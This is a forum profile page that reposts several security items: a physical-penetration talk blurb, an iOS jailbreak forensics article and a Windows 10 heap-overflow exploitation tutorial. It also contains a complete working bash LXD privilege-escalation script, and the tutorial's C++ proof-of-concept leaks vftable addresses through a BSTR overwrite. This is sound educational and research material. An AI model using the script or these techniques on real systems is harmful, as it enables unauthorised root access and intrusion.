Jump to content

Nytro

Administrators
  • Posts

    18728
  • Joined

  • Last visited

  • Days Won

    708

Everything posted by Nytro

  1. Wild West Hackin' Fest 2017 Presented by Deviant Ollam: https://enterthecore.net/ Many organizations are accustomed to being scared at the results of their network scans and digital penetration tests, but seldom do these tests yield outright "surprise" across an entire enterprise. Some servers are unpatched, some software is vulnerable, and networks are often not properly segmented. No huge shocks there. As head of a Physical Penetration team, however, my deliverable day tends to be quite different. With faces agog, executives routinely watch me describe (or show video) of their doors and cabinets popping open in seconds. This presentation will highlight some of the most exciting and shocking methods by which my team and I routinely let ourselves in on physical jobs. ________________________________________________________________ While paying the bills as a security auditor and penetration testing consultant with The CORE Group, Deviant Ollam is also a member of the Board of Directors of the US division of TOOOL, The Open Organisation Of Lockpickers. His books Practical Lock Picking and Keys to the Kingdom are among Syngress Publishing's best-selling pen testing titles. In addition to being a lockpicker, Deviant is also a GSA certified safe and vault technician and inspector. At multiple annual security conferences Deviant runs the Lockpick Village workshop area, and he has conducted physical security training sessions for Black Hat, DeepSec, ToorCon, HackCon, ShakaCon, HackInTheBox, ekoparty, AusCERT, GovCERT, CONFidence, the FBI, the NSA, DARPA, the National Defense University, the United States Naval Academy at Annapolis, and the United States Military Academy at West Point. His favorite Amendments to the US Constitution are, in no particular order, the 1st, 2nd, 9th, & 10th. Deviant's first and strongest love has always been teaching. A graduate of the New Jersey Institute of Technology's Science, Technology, & Society program, he is always fascinated by the interplay that connects human values and social trends to developments in the technical world. While earning his BS degree at NJIT, Deviant also completed the History degree program at Rutgers University.
      • 1
      • Upvote
  2. #!/usr/bin/env bash # ---------------------------------- # Authors: Marcelo Vazquez (S4vitar) # Victor Lasa (vowkin) # ---------------------------------- # Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine] # Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine] # Step 3: Run this script and you will get root [Victim Machine] # Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine function helpPanel(){ echo -e "\nUsage:" echo -e "\t[-f] Filename (.tar.gz alpine file)" echo -e "\t[-h] Show this help panel\n" exit 1 } function createContainer(){ lxc image import $filename --alias alpine && lxd init --auto echo -e "[*] Listing images...\n" && lxc image list lxc init alpine privesc -c security.privileged=true lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true lxc start privesc lxc exec privesc sh cleanup } function cleanup(){ echo -en "\n[*] Removing container..." lxc stop privesc && lxc delete privesc && lxc image delete alpine echo " [√]" } set -o nounset set -o errexit declare -i parameter_enable=0; while getopts ":f:h:" arg; do case $arg in f) filename=$OPTARG && let parameter_enable+=1;; h) helpPanel;; esac done if [ $parameter_enable -ne 1 ]; then helpPanel else createContainer fi Sursa: https://www.exploit-db.com/exploits/46978?utm_source=dlvr.it&utm_medium=twitter
  3. Forensic Implications of iOS Jailbreaking June 12th, 2019 by Oleg Afonin Jailbreaking is used by the forensic community to access the file system of iOS devices, perform physical extraction and decrypt device secrets. Jailbreaking the device is one of the most straightforward ways to gain low-level access to many types of evidence not available with any other extraction methods. On the negative side, jailbreaking is a process that carries risks and other implications. Depending on various factors such as the jailbreak tool, installation method and the ability to understand and follow the procedure will affect the risks and consequences of installing a jailbreak. In this article we’ll talk about the risks and consequences of using various jailbreak tools and installation methods. Why jailbreak? Why jailbreak, and should you jailbreak at all? Speaking of mobile forensics, jailbreaking the device helps extract some additional bits and pieces of information compared to other acquisition methods. Before discussing the differences between the different acquisition methods, let’s quickly look at what extraction methods are available for iOS devices. Logical acquisition Logical acquisition is the simplest, cleanest and the most straightforward acquisition method by a long stretch. During logical acquisition, experts can make the iPhone (iPad, iPad Touch) backup its contents. In addition to the backup (and regardless of whether or not the user protected backups with a password), logical acquisition enables experts to extract media files (pictures and videos), crash logs and shared files. Logical acquisition, when performed properly, yields a comprehensive set of data including (for password-protected backups) the content of the user’s keychain. Requirements: the iOS device must be working and not in USB Restricted mode; you must be able to connect it to the computer and perform the pairing procedure (during this step, iOS 11 and 12 will require the passcode). Alternatively, one can use an existing pairing record extracted from the user’s computer. A backup extracted during the course of logical acquisition may come out encrypted. If this is the case, experts may be able to reset the backup password, an action that carries consequences on its own (more information in Step by Step Guide to iOS Jailbreaking and Physical Acquisition, look up the “If you have to reset the backup password” chapter). Jailbreaking the device is a viable alternative to resetting the backup password. After you jailbreak, you’ll be able to extract all of the same information as available in the backup, and more. In addition, you’ll be able to view the user’s backup password in plain text (refer to “Extracting the backup password from the keychain” in the same article). Over-the-air (iCloud) extraction Remote extraction of device data may be possible if you know the user’s Apple ID and password and have access to their second authentication factor (if two-factor authentication is enabled on the user’s Apple account). Some bits and pieces may be accessed without the password by utilizing a binary authentication token. This, however, has very limited use today. Requirements: you must know the user’s Apple ID login and password and have access to the second authentication factor (if 2FA is enabled on the user account). If you require access to protected data categories (iCloud Keychain, iCloud Messages, Health etc.), you must know the passcode or system password to one of the already enrolled devices. To access synchronized data, you may use an existing authentication token instead of the login/password/2FA sequence. During the course of iCloud extraction, you’ll have access to some or all of the following: iCloud backups, synchronized data and media files. If you know the passcode to the user’s device, you may be able to access their iCloud Keychain, Health and Messages data. Apple constantly improves iCloud protection, making it difficult or even impossible to access some types of data in a way other than restoring an actual iOS device. In a game of cat and mouse, manufacturers of forensic software try overcoming such protection measures, while Apple tries to stop third-party tools from accessing iCloud data. Note that some iCloud data (the backups, media files and synchronized data) can be obtained from Apple with a court order. However, even if you have authority to file a request, Apple will not provide any encrypted data such as the user’s passwords (iCloud Keychain), Health and Messages. Physical acquisition Physical is the most in-depth extraction method available. Today, physical acquisition of iOS devices is limited to file system extraction as opposed to imaging and decrypting the entire partition. With this method, experts can image the file system, access sandboxed app data, decrypt the all keychain records including those with this_device_only attribute, extract system logs, and more. Compared to other acquisition methods, physical extraction additionally offers access to all of the following: File system extraction: App databases with uncommitted transactions and WAL files Sandboxed app data for those apps that don’t back up their contents Access to secure chats and protected messages (e.g. Signal, Telegram and many others) Downloaded email messages System logs Keychain: Items protected with this_device_only attribute This includes the password to iTunes backups Physical is the riskiest and the most demanding method as well. The list of requirements includes the device itself in the unlocked state; the ability to pair the device with the computer; and a version of iOS that has known vulnerabilities so that a jailbreak can be installed. The risks of jailbreaking The risks of jailbreaking iOS devices largely depend on the jailbreak tool and installation procedure. However, the main risk of today’s jailbreaks is not about bricking the device. A real risk of making the device unbootable existed in jailbreaks developed for early versions of iOS (up to and including iOS 9). These old jailbreaks were patching the kernel and attempted to bypass the system’s Kernel Patch Protection (KPP) by patching other parts of the operating system. This was never completely reliable; worst case scenario the device would not boot at all. Modern jailbreaks (targeting iOS 10 and newer) are not modifying the kernel and do not need to deal with Kernel Patch Protection. As a result, the jailbroken device will always boot in a non-jailbroken state; you’ll have to reapply the jailbreak on every boot. The two risks of today’s jailbreaks are: Exposing the device to the Internet. By allowing the device going online while installing a jailbreak, you’re effectively allowing the device to sync data, downloading information that was not there at the time the device was seized. Even worse, you’ll make the device susceptible to any remote block or remote erase commands that could be pending.The procedure of installing a jailbreak for the purpose of physical extraction is vastly different from jailbreaking for research or other purposes. In particular, forensic experts are struggling to keep devices offline in order to prevent data leaks, unwanted synchronization and issues with remote device management that may remotely block or erase the device. While there is no lack of jailbreaking guides and manuals for “general” jailbreaking, installing a jailbreak for the purpose of physical acquisition has multiple forensic implications and some important precautions.Mitigation: you can mitigate this risk by following the correct jailbreak installation procedure laid out in our guide on iOS jailbreaking. Jailbreak failing to install. Jailbreaks exploit chains of vulnerabilities in the operating system in order to obtain superuser privileges, escape the sandbox and allow the execution of unsigned applications. Since multiple vulnerabilities are consecutively exploited, the jailbreaking process may fail at any time. Mitigation: since different jailbreaks are using different code and may even target different exploits, the different jailbreak tools have different success rates. Do try another jailbreak tool if your original tool of choice had failed. Consequences of jailbreaking Different jailbreaks bear different consequences. A classic jailbreak such as Meridian, Pangu, TaiG, Chimera or Unc0ver needs to perform a long list of things in order to comply with what is expected of a jailbreak. Since the intended purpose of a jailbreak is allowing to install unsigned apps from third-party repositories, jailbreaks need to disable code signing checks and install a third-party package manager such as Cydia or Sileo. Such things require invasive modifications of the core of the operating system, inevitably remounting and modifying the system partition and writing files to the data partition. The new generation of jailbreaks has recently emerged. Rootless jailbreaks (e.g. RootlessJB) do not, by design, modify the system partition. A rootless jailbreak has a much smaller footprint compared to any classic jailbreak. On the flip side, rootless jailbreaks will not easily allow executing unsigned code or install a third-party package manager. However, they do include a working SSH daemon, making it possible to perform file system extraction. Since rootless jailbreaks do not alter the content of the system partition, one can easily remove such jailbreaks from the device, return the system to pre-jailbroken state and receive OTA updates afterwards. Generally speaking, this task would be very difficult (and sometimes impossible) to achieve when using classic jailbreaks. We have an article in our blog with more information about rootless jailbreaks and their differences from classic jailbreaks: iOS 12 Rootless Jailbreak. Companies such as Cellebrite and GrayShift do not rely on public jailbreaks to perform the extraction. Instead, they use a set of undisclosed exploits to access the file system of iOS devices directly. Using exploits directly has a number of benefits as the device’s file system is usually untouched during the extraction. The only traces left on the device after using an exploit for file system extraction would be entries in various system logs. So let us compare consequences of using a classic or rootless jailbreak to extract the file system. Classic jailbreak Rootless jailbreak Direct exploit File system remount Yes No No Modified system partition Yes No No Modified boot image (kernel) No (since iOS 10) No No Entries in the system log Yes Yes Yes Device can install OTA updates No Yes Yes Access to “/” Yes w/restrictions Yes Access to “/var” Yes Yes Yes Keychain decryption Yes Yes Yes Repeatable results No Yes Yes File system remount Generally speaking, we’d like to avoid the remount of the file system when jailbreaking the device. While remounting the file system opens read/write access to the root of the file system, it also introduces the potential of bricking the device due to incompatible modifications of the system partition that are made possible with r/w access. We can still extract user data and decrypt the keychain without remounting the file system. Modified system partition This, again, is something that we’d like to avoid when performing forensic extractions. Any modification made to the system partition can potentially brick the device or make it less stable. A modified system partition may break OTA updates (a full update or restore through iTunes is still possible). Classic jailbreaks write files to the system partition to ensure that unsigned apps can be installed and launched. We can still access the full content of the data partition and decrypt the keychain without modifying the system partition. Modified boot image Early jailbreaks (up to and including jailbreaks targeting all versions of iOS 9) used to patch the kernel in order to achieve untethered jailbreak. While being “untethered” means the device remains jailbroken indefinitely between reboots, modifying the kernel has some severe disadvantages including compromised stability and general unreliability of jailbroken devices. Since Apple introduced advanced Kernel Patch Protection (KPP) mechanisms, patching the kernel became less attractive. Public jailbreaks targeting iOS 10 and all newer versions of iOS got away from patching the kernel. System log entries The installation and operation of a jailbreak leaves multiple traces in the form of entries in various log files throughout the system. This is pretty much unavoidable and should be taken into consideration. OTA compatibility Depending on the type of a jailbreak, a jailbroken device may or may not be able to accept over-the-air (OTA) updates after you’re done with extraction. Some classic jailbreaks make modifications to the device that make it impossible to install OTA updates even after the jailbreak is removed. Some jailbreaks make it possible to create a system restore point (using APFS mechanisms), so at least in theory rolling back the device to pre-jailbroken state should be possible. In our experience, this is not reliable enough. On the other hand, rootless jailbreaks to not alter the system partition at all, making OTA updates easily possible. Access to the root of the file system “/” Classic jailbreaks provide read/write access to the root of the file system, making it possible to dump the content of the system partition as well as the data partition. Rootless jailbreaks only offer access to the content of the data partition (“/var”), which is sufficient for the purpose of forensic extraction. Access to the data partition “/var” All types of jailbreaks offer access to user data stored in the data partition. The complete file system is available including installed applications and their sandboxed data, databases, system log files and much more. Access to keychain One can decrypt the keychain (passwords and autofill entries in Safari and installed apps) using either type of jailbreak. All keychain entries can be decrypted including those protected with the highest protection class and flagged this_device_only. Repeatable results Jailbreaks are unreliable in their nature. They are using undocumented exploits to obtain superuser privileges and secure access to the file system. A jailbreak may fail to install and require multiple attempts. Since jailbreaks modify the content of the device, we may not consider the results to be fully repeatable. However, rootless jailbreaks feature significantly cleaner footprint compared to classic ones. Conclusion Without a doubt, jailbreaks do have a fair share of forensic implications. One can significantly reduce the number and severity of negative consequences by selecting and using the jailbreak with care. However, even in worst-case scenarios, the benefits of physical extraction may far outweigh the drawbacks of jailbreaking. Sursa: https://blog.elcomsoft.com/2019/06/forensic-implications-of-ios-jailbreaking/
  4. Heap Overflow Exploitation on Windows 10 Explained Wei Chen Jun 12, 2019 14 min read POST STATS: 0 SHARE Introduction I remember the first time I attempted to exploit a memory corruption vulnerability. It was a stack buffer overflow example I tried to follow in this book called “Hacking: The Art of Exploitation.” I fought for weeks, and I failed. It wasn't until months later that I tried a different example on the internet and finally popped a shell. I was so thrilled I got it to work. More than 10 years later, I have some memory corruption exploits under my belt, from small-third-party applications to high-profile products such as Microsoft, Adobe, Oracle, Mozilla, and IBM. However, memory corruption for me is still quite a challenge, despite having a soft spot for it. And I don't think I'm the only person to feel this way. LiveOverflow, who is most well known for his hacking videos on YouTube, shares the same feeling about approaching browser exploitation in the early stage, saying: I know the theory. It's just a scary topic, and I don't even know where to start. My impression is that many people certainly feel this way about heap corruptions, which are indeed difficult because they are unpredictable in nature, and the mitigations are always evolving. About every couple of years, some major security improvement would be introduced, likely terminating a vulnerability class or an exploitation technique. Although a Black Hat talk may follow explaining that, those talks are probably overwhelming for the most part. People may get a grasp of the theory, it still remains a scary topic, and they still don't even know where to start. As LiveOverflow points out, there is a lot of value in explaining how you mastered something, more than just publishing an exploit. Being a former Corelan member, I know that some of the best exploit tutorials from Corelan started off this way, with Peter Van Eeckhoutte and his team researching the topic, documenting the process, and in the end, sharing that with the public. By doing so, you encourage the community to engage on the topic, and one day, someone is going to advance and share something new in return. Learning by creating Learning a vulnerability from a real application can be difficult because the codebase may be complex. Often, you may get away with examining a good crash, get EIP, add some shellcode, and get a working exploit, but you may not fully understand the actual problem as quickly. If the developers didn't spend just a few days building the codebase, there certainly isn't any magic to absorb so much internal knowledge about it in such a short amount of time. One way that guarantees I will learn about a vulnerability is by figuring out how to create it and mess with it. That's what we'll do today. Since heap corruption is such a scary topic, let's start with a heap overflow on Windows 10. Heap overflow example This is a basic example of a heap overflow. Clearly, it is trying to pass a size of 64 bytes to a smaller heap buffer that is only 32 bytes. #include <stdio.h> int main(int args, char** argv) { void* heap = (void*) malloc(32); memset(heap, 'A', 64); printf("%s\n", heap); free(heap); heap = NULL; return 0; } In a debugger, you will be presented with an error of 0xc0000374, indicating a heap corruption exception that is due to a failed inspection on the heap, resulting in a call to RtlpLogHeapFailure. A modern system is really good at protecting its heaps nowadays, and every time you see this function call is pretty much a sign that you have been defeated. Exploitability depends more on how much control you have on the application, and there is no silver bullet on the OS level like in previous years. Client-side applications (such as a browser, PDF, Flash, etc.) tend to be excellent targets due to the support of scripting languages. It’s very likely you have indirect control of an array, a HeapAlloc, a HeapFree, a vector, strings, etc., which are all good tools you need to instrument a heap corruption—except you have to find them. A difficult first step to success In C/C++ applications, a programming error may create opportunities like allowing the program to read the wrong memory, writing to the wrong place, or even executing the wrong code. Normally, we just call these conditions crashes, and there is actually an industry out there of people totally obsessed with finding and controlling them. By taking over the "bad" memory the program isn't supposed to read, we have witnessed Heartbleed. If the program writes to it, you have a buffer overflow. If you can combine all of them on a remote Windows machine, that's just as bad as EternalBlue. Whatever your exploit is, an important first step usually involves setting up the right environment in memory to land that attack. Kind of like in social engineering, you have this thing called pretexting. Well, in exploit writing, we have various names: Feng shui, massaging, grooming, etc. Every program loves a good massage, right? Windows 7 vs. Windows 10 The Windows 10 internals seem significantly different from their predecessors. You might have noticed some recent high-profile exploits that were all done against older systems. For example, Google Chrome's FileReader Use After Free was documented to work best on Windows 7, the BlueKeep RDP flaw was mostly proven in public to work on Windows XP, and Zerodium confirmed RCE on Windows 7. Predicable heap allocations is an important trait for heap grooming, so I wrote a test below for both systems. Basically, it creates multiple objects and tracks where they are. There is also a Summerize() method that tells me all the offsets found between two objects and the most common offset. void SprayTest() { OffsetTracker offsetTracker; LPVOID* objects = new LPVOID[OBJECT_COUNT]; for (int i = 0; i < OBJECT_COUNT; i++) { SomeObject* obj = new SomeObject(); objects[i] = obj; if (i > 0) { int offset = (int) objects[i] - (int) objects[i-1]; offsetTracker.Register(offset); printf("Object at 0x%08x. Offset to previous = 0x%08x\n", (int) obj, offset); } else { printf("Object at 0x%08x\n", (int) obj); } } printf("\n"); offsetTracker.Summerize(); The results for Windows 7: Basically, my test tool is suggesting that 97.8% of the time, my heap allocations look like this consecutively: [ Object ][ 0x30 of Bytes ][ Object ] For the exact same code, Windows 10 behaves very differently: Wow, only 6%. That means if I had an exploit, I wouldn't have any reliable layout to work with, and my best choice would make me fail 94% of the time. I might as well not write an exploit for it. The right way to groom As it turns out, Windows 10 requires a different way to groom, and it is slightly more complicated than before. After having multiple discussions with Peter from Corelan, the conclusion is that we shouldn’t bother using low-fragmentation heap, because that is what messing with our results. Front- vs. back-end allocator Low fragmentation heap is a way to allow the system to allocate memory in certain predetermined sizes. It means when the application asks for an allocation, the system returns the minimum available chunk that fits. This sounds really nice, except on Windows 10, it also tends to avoid giving you a chunk that has the same size as its neighbor. You can check whether a heap is being handled by LFH using the following in WinDBG: dt _HEAP [Heap Address] There is a field named FrontEndHeapType at offset 0x0d6. If the value is 0, it means the heap is handled by the backend allocator. 1 means LOOKASIDE. And 2 means LFH. Another way to check if a chunk belongs to LFH is: !heap -x [Chunk Address] The backend allocator is actually the default choice, and it takes at least 18 allocations to enable LFH. Also, those allocations don't have to be consecutive—they just need to be the same size. For example: #include <Windows.h> #include <stdio.h> #define CHUNK_SIZE 0x300 int main(int args, char** argv) { int i; LPVOID chunk; HANDLE defaultHeap = GetProcessHeap(); for (i = 0; i < 18; i++) { chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE); printf("[%d] Chunk is at 0x%08x\n", i, chunk); } for (i = 0; i < 5; i++) { chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE); printf("[%d] New chunk in LFH : 0x%08x\n", i ,chunk); } system("PAUSE"); return 0; } The code above produced the following results: The two loops do the same thing in code. The first iterates 18 times, and the second is five times. By observing those addresses, there are some interesting facts: In the first loop: Index 0 and index 1 have a huge gap of 0x1310 bytes. Starting index 2 to index 16, that gap is consistently 0x308 bytes. Index 16 and index 17 get a huge gap again with 0x3238 bytes. In the second loop: Index 0 is where LFH kicks in. Each gap is random, usually far away from each other. It appears the sweet spot where we have most control is between index 2 to 16 in the first loop, before LFH is triggered. The beauty of overtaking A feature of the Windows heap manager is that it knows how to reuse a freed chunk. In theory, if you free a chunk and allocate another for the exact same size, there is a good chance it will take over the freed space. Taking advantage of this, you could write an exploit without heap spraying. I can't say exactly who was the first person to apply this technique, but Peter Vreugdenhil from Exodus was certainly one of the first to talk about it publicly. See: HAPPY NEW YEAR ANALYSIS OF CVE-2012-4792. To verify this, let's write another C code: #include <Windows.h> #include <stdio.h> #define CHUNK_SIZE 0x300 int main(int args, char** argv) { int i; LPVOID chunk; HANDLE defaultHeap = GetProcessHeap(); // Trigger LFH for (i = 0; i < 18; i++) { HeapAlloc(defaultHeap, 0, CHUNK_SIZE); } chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE); printf("New chunk in LFH : 0x%08x\n", chunk); BOOL result = HeapFree(defaultHeap, HEAP_NO_SERIALIZE, chunk); printf("HeapFree returns %d\n", result); chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE); printf("Another new chunk : 0x%08x\n", chunk); system("PAUSE"); return 0; } On Windows 7, it seems this technique is legit (both addresses are the same): For the exact same code, the outcome is quite different on Windows 10: However, our hope is not lost. An interesting behavior by the Windows heap manager is that apparently for efficiency purposes, it can split a large free chunk in order to service smaller chunks the application requests. That means the smaller chunks may coalesce (merge), making them adjacent from each other. To achieve that, the overall steps kind of play out like the following. 1. Allocate chunks not handled by LFH Try to pick a size that is not used by the application, which tends to be a larger size. In our example, let's say our size choice is 0x300. Allocate no more than 18 chunks, probably a minimum of five. 2. Pick a chunk that you want to free The ideal candidate is obviously not the first chunk or the 18th chunk. The chunk you choose should have the same offset between its previous one and also the next one. So, that means you want to make sure you have this layout before you free the middle one: [ Chunk 1 ][ Chunk 2 ][ Chunk 3 ] 3. Make a hole By freeing the middle chunk, you technically create a hole that looks like this: [ Chunk 1 ][ Free chunk ][ Chunk 3 ] 4. Create smaller allocations for a coalescing miracle Usually, the ideal chunks are actually objects from the application. An ideal one, for example, is some kind of object with a size header you could modify. The structure of a BSTR fits perfectly for this scenario: [ 4 bytes (length prefix) ][ WCHAR* + \0 ] It may take some trials and errors to craft the right object size, and make them fall into the hole you created. If done right, within 10 allocations, at least one will fall into the hole, which creates this: [ Chunk 1 ][ BSTR ][ Chunk 3 ] 5. Repeat step 3 (another hole) Another hole will be used to place objects we want to leak. Your new layout might look like this: [ Chunk 1 ][ BSTR ][ Free Chunk ] 6. Repeat step 4 (creates objects to leak) In the last free chunk, we want to fill that with objects we wish to leak. To create these, you want to pick something that allows you control a heap allocation, where you can save pointers for the same object (which can be anything). A vector or something array-like would do great for this kind of job. Once again, you may need to experiment with different sizes to find the one that wants to be in the hole. The new allocation should take over the last chunk like so: [ Chunk 1 ][ BSTR ][ Array of pointers ] The implementation This proof-of-concept demonstrates how the above procedure may be implemented in C++: #include <Windows.h> #include <comdef.h> #include <stdio.h> #include <vector> using namespace std; #define CHUNK_SIZE 0x190 #define ALLOC_COUNT 10 class SomeObject { public: void function1() {}; virtual void virtual_function1() {}; }; int main(int args, char** argv) { int i; BSTR bstr; HANDLE hChunk; void* allocations[ALLOC_COUNT]; BSTR bStrings[5]; SomeObject* object = new SomeObject(); HANDLE defaultHeap = GetProcessHeap(); for (i = 0; i < ALLOC_COUNT; i++) { hChunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE); memset(hChunk, 'A', CHUNK_SIZE); allocations[i] = hChunk; printf("[%d] Heap chunk in backend : 0x%08x\n", i, hChunk); } HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[3]); for (i = 0; i < 5; i++) { bstr = SysAllocString(L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); bStrings[i] = bstr; printf("[%d] BSTR string : 0x%08x\n", i, bstr); } HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[4]); int objRef = (int) object; printf("SomeObject address for Chunk 3 : 0x%08x\n", objRef); vector<int> array1(40, objRef); vector<int> array2(40, objRef); vector<int> array3(40, objRef); vector<int> array4(40, objRef); vector<int> array5(40, objRef); vector<int> array6(40, objRef); vector<int> array7(40, objRef); vector<int> array8(40, objRef); vector<int> array9(40, objRef); vector<int> array10(40, objRef); system("PAUSE"); return 0; } For debugging reasons, the program logs where the allocations are when you run it: To verify things are in the right place, we can look at it with WinDBG. Our proof-of-concept actually aims index 2 as the BSTR chunk, so we can check the memory dump for that: It looks like we have executed that well—all three chunks are arranged correctly. If you have read this far without falling asleep, congratulations! We are finally ready to move on and talk about everyone's favorite part of exploitation, which is overflowing the heap (on Windows 10). Exploiting heap overflow I think at this point, you might have guessed that the most painful part about overflowing the heap isn't actually overflowing the heap. It is the time and effort it takes to set up the desired memory layout. By the time you are ready to exploit the bug, you are already mostly done with it. It would be fair to say that the more preparation you do on grooming, the more reliable it is. To recap, before you are ready to exploit a heap overflow to cause an information leak, you want to make sure you have control of a layout that should be similar to this for an information leak: [ Chunk 1 ][ BSTR ][ Array of pointers ] A precise overwrite For this exploitation scenario, the most important objective for our heap overflow is actually this: Precisely overwrite the BSTR length. The length field is a four-byte value found before the BSTR string: In this example, you want to change the hex value 0xF8 to something bigger like 0xFF, which allows the BSTR to read 255 bytes. It is more than enough to read past the BSTR and collect data in the next chunk. Your code may look like this: As far as the application is concerned, the BSTR now contains some pointers we want. We are finally ready to claim our reward. Reading the leaked data When you are reading the BSTR with vftable pointers in it, you want to figure out exactly where those four bytes are, then substring it. With these four raw bytes you have leaked, you want to convert them into an integer value. The following example demonstrates how to do that: std::wstring ws(bStrings[0], strSize); std::wstring ref = ws.substr(120+16, 4); char buf[4]; memcpy(buf, ref.data(), 4); int refAddr = int((unsigned char)(buf[3]) << 24 | (unsigned char)(buf[2]) << 16 | (unsigned char)(buf[1]) << 8 | (unsigned char)(buf[0])); Other languages would really approach conversion in a similar way. Since JavaScript is quite a popular tool for heap exploitation, here's another example to demonstrate: var bytes = "AAAA"; var intVal = bytes.charCodeAt(0) | bytes.charCodeAt(1) << 8 | bytes.charCodeAt(2) << 16 | bytes.charCodeAt(3) << 24; // This gives you 1094795585 console.log(intVal); Once you have the vftable address, you can use that to calculate the image's base address. An interesting piece of information you want to know is that the location of vftables are predetermined in the .rdata section, which means as long as you don't recompile, your vftable should stay there: This makes calculating the image base address a lot easier: Offset to Image Base = VFTable - Image Base Address For the final product for our information leak, here's the source code: #include <Windows.h> #include <comdef.h> #include <stdio.h> #include <vector> #include <string> #include <iostream> using namespace std; #define CHUNK_SIZE 0x190 #define ALLOC_COUNT 10 class SomeObject { public: void function1() {}; virtual void virtual_function1() {}; }; int main(int args, char** argv) { int i; BSTR bstr; BOOL result; HANDLE hChunk; void* allocations[ALLOC_COUNT]; BSTR bStrings[5]; SomeObject* object = new SomeObject(); HANDLE defaultHeap = GetProcessHeap(); if (defaultHeap == NULL) { printf("No process heap. Are you having a bad day?\n"); return -1; } printf("Default heap = 0x%08x\n", defaultHeap); printf("The following should be all in the backend allocator\n"); for (i = 0; i < ALLOC_COUNT; i++) { hChunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE); memset(hChunk, 'A', CHUNK_SIZE); allocations[i] = hChunk; printf("[%d] Heap chunk in backend : 0x%08x\n", i, hChunk); } printf("Freeing allocation at index 3: 0x%08x\n", allocations[3]); result = HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[3]); if (result == 0) { printf("Failed to free\n"); return -1; } for (i = 0; i < 5; i++) { bstr = SysAllocString(L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); bStrings[i] = bstr; printf("[%d] BSTR string : 0x%08x\n", i, bstr); } printf("Freeing allocation at index 4 : 0x%08x\n", allocations[4]); result = HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[4]); if (result == 0) { printf("Failed to free\n"); return -1; } int objRef = (int) object; printf("SomeObject address : 0x%08x\n", objRef); printf("Allocating SomeObject to vectors\n"); vector<int> array1(40, objRef); vector<int> array2(40, objRef); vector<int> array3(40, objRef); vector<int> array4(40, objRef); vector<int> array5(40, objRef); vector<int> array6(40, objRef); vector<int> array7(40, objRef); vector<int> array8(40, objRef); vector<int> array9(40, objRef); vector<int> array10(40, objRef); UINT strSize = SysStringByteLen(bStrings[0]); printf("Original String size: %d\n", (int) strSize); printf("Overflowing allocation 2\n"); char evilString[] = "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBB" "CCCCDDDD" "\xff\x00\x00\x00"; memcpy(allocations[2], evilString, sizeof(evilString)); strSize = SysStringByteLen(bStrings[0]); printf("Modified String size: %d\n", (int) strSize); std::wstring ws(bStrings[0], strSize); std::wstring ref = ws.substr(120+16, 4); char buf[4]; memcpy(buf, ref.data(), 4); int refAddr = int((unsigned char)(buf[3]) << 24 | (unsigned char)(buf[2]) << 16 | (unsigned char)(buf[1]) << 8 | (unsigned char)(buf[0])); memcpy(buf, (void*) refAddr, 4); int vftable = int((unsigned char)(buf[3]) << 24 | (unsigned char)(buf[2]) << 16 | (unsigned char)(buf[1]) << 8 | (unsigned char)(buf[0])); printf("Found vftable address : 0x%08x\n", vftable); int baseAddr = vftable - 0x0003a490; printf("====================================\n"); printf("Image base address is : 0x%08x\n", baseAddr); printf("====================================\n"); system("PAUSE"); return 0; } And FINALLY, let's witness the sweet victory: After the leak By leaking the vftable and image address, exploiting the application at this point would be a lot like the pre-ASLR era, with the only thing left that stands between you and a shell is DEP. You can easily collect some ROP gadgets utilizing the leak, defeat DEP, and get the exploit to work. One thing to keep in mind is that no matter what DLL (image) you choose to collect the ROP gadgets, there may be multiple versions of that DLL that are used by end users around the world. There are ways to overcome this. For example, you could write something that scans the image for the ROP gadgets you need. Or, you could collect all the versions you can find for that DLL, create ROPs for them, and then use the leak to check which version of DLL your exploit is using, and then return the ROP chain accordingly. Other methods are also possible. Arbitrary code execution Now that we are done with the leak, we are one big step closer to get arbitrary code execution. If you managed to read through the process on how to use a heap overflow to leak data, this part isn't such a stranger to you after all. Although there are multiple ways to approach this problem, we can actually borrow the same idea from the leak technique and get an exploitable crash. One of the magic tricks lies within the behavior of a vector. In C++, a vector is a dynamic array that grows or shrinks automatically. A basic example looks like this: #include <vector> #include <string> #include <iostream> using namespace std; int main(int args, char** argv) { vector<string> v; v.push_back("Hello World!"); cout << v.at(0) << endl; return 0; } It is a wonderful tool for exploits because of the way it allows us to create an arbitrary sized array that contains pointers we control. It also saves the content on the heap, so that means you can use this to make heap allocations, something you already have seen in the information leak examples. 